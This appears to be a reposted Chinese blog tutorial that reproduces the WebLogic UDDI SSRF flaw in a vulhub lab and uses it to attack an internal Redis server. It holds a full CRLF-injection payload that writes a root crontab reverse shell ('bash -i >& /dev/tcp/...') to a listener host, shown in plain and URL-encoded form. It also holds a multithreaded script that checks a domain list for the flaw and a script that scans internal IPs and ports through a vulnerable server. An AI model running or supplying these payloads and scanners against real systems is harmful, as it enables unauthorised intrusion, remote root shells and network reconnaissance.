SSRF——weblogic vulhub 漏洞復現及攻擊內網redis(一)(附批量檢測腳本)


0X01 概述

 

SSRF(Server-Side Request Forgery, 服務端請求偽造)利用漏洞可以發起網絡請求來攻擊內網服務。
利用SSRF能實現以下效果:
1)        掃描內網(主機信息收集,Web應用指紋識別)
2)        根據所識別應用發送構造的Payload進行攻擊
3)        Denial of service(請求大文件,始終保持連接Keep-Alive Always)

 

0X02 vulhub weblogic SSRF 漏洞復現

 

環境搭建

 

下載vulhub:git clone https://github.com/vulhub/vulhub.git

啟動環境:docker-compose up -d

訪問:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

出現以下頁面,說明測試環境ok。

 

漏洞復現

 

訪問以下頁面,確認是否存在SSRF漏洞。

http://192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.220.144

其中,最后的operator參數為內網ip,若存在此報錯: weblogic.uddi.client.structures.exception.XML_SoapException,說明存在SSRF漏洞。

 

 

 

漏洞利用

【利用1】  探測內網存活ip

 

 

 

 

 

 

【利用2】  探測端口

 

 

 

 

 

【利用3】  攻擊redis(通過header CRLF 注入

 

Weblogic的SSRF有一個比較大的特點,其雖然是一個“GET”請求,但是我們可以通過傳入`%0a%0d`來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis服務器。
 

①查看docker redis的ip地址

docker ps
docker exec -it 7b12841eedbf ip addr
172.22.0.2是docker redis的內網地址

 

②利用SSRF漏洞探測內網redis是否開放

 

 

 

③准備好攻擊代碼

 
test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.140/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

 將上述攻擊代碼轉換成URL編碼:

test %0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F 192.168.220.140%2F 2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22 %0D%0Aconfig%20set%20dir%20%2Fetc%2F %0D%0Aconfig%20set%20dbfilename%20crontab %0D%0Asave %0D%0A%0D%0Aaaa
 

④實施攻擊

kali監聽端口:nc -lvvp 2333 
瀏覽器訪問:
http:// 192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http:// 172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F 192.168.220.140%2F 2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反彈shell成功!
 

 

 

具體過程如下:

 

 

0X03 批量檢測腳本

 

批量檢測weblogic_SSRF漏洞 

 

將域名保存在domain.txt文件中,運行腳本,自動進行批量檢測。

 

 

代碼如下:

#!/usr/bin/env python  
# -*- coding: utf-8 -*-
# 功能:批量探測weblogic SSRF漏洞
import re import sys import Queue import requests import threading from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) queue = Queue.Queue() mutex = threading.Lock() class Weblogic_SSRF_Check(threading.Thread): """docstring for Weblogic_SSRF_Check""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def check(self,domain,ip): payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip) url = domain + payload try: html = requests.get(url=url, timeout=15, verify=False).content m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html) if m: mutex.acquire() with open('ssrf.txt','a+') as f: print "%s has weblogic ssrf." % domain f.write("%s has weblogic ssrf.\n" % domain) mutex.release() except Exception,e: pass def get_registry(self,domain): payload = 'uddiexplorer/SetupUDDIExplorer.jsp' url = domain + payload try: html = requests.get(url=url, timeout=15, verify=False).content m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html) if m: return m.group(1) except Exception,e: pass def run(self): while not self.queue.empty(): domain = self.queue.get() mutex.acquire() print domain mutex.release() ip = self.get_registry(domain) self.check(domain,ip) self.queue.task_done() if __name__ == '__main__': with open('C:\\Users\\m\\domain.txt','r') as f: lines = f.readlines() for line in lines: queue.put(line.strip()) for x in xrange(1,50): t = Weblogic_SSRF_Check(queue) t.setDaemon(True) t.start() queue.join()

 

通過weblogic_SSRF漏洞探測內網ip及端口

--url參數:存在weblogic SSRF漏洞的url
--ip參數:想掃描的內網網段
 

 

 代碼如下:

#!/usr/bin/env python
# coding: utf-8
# 功能:掃描內網開放ip及端口

import argparse
import thread
import time
import re
import requests



def ite_ip(ip):
    #for i in range(1, 256):
    for i in range(139, 146):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    #ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000')
    ports = ( '80', '445','22','6379')
    for port in ports:
        vul_url = args.url + '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip, port)
        try:
            r = requests.get(vul_url, timeout=15, verify=False) 
            result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
            result1 = re.findall('route to host', r.content)
            result2 = re.findall('but could not connect', r.content)
            if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
                out = "port exist: " + final_ip + ':' + port
                print out        
        except Exception, e:
            pass

def get_ip():
    vul_url = args.url + '/uddiexplorer/SetupUDDIExplorer.jsp'
    r = requests.get(vul_url, timeout=15, verify=False)
    reg = re.compile(r"For example: http://\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\ b")
    result1 = reg.findall(r.content)
    result = ""
    if result1:
        result = result1[0].replace("For example: http://","")
    return result

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit') 
    parser.add_argument('--url', dest='url', required=True, help='Target url')
    parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
    args = parser.parse_args()
    ip = '.'.join(args.scan_ip.split('.')[:-1])
    #print ip
    #ip = get_ip()
    if ip:
        ite_ip(ip)
    else:
        print "no ip"

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM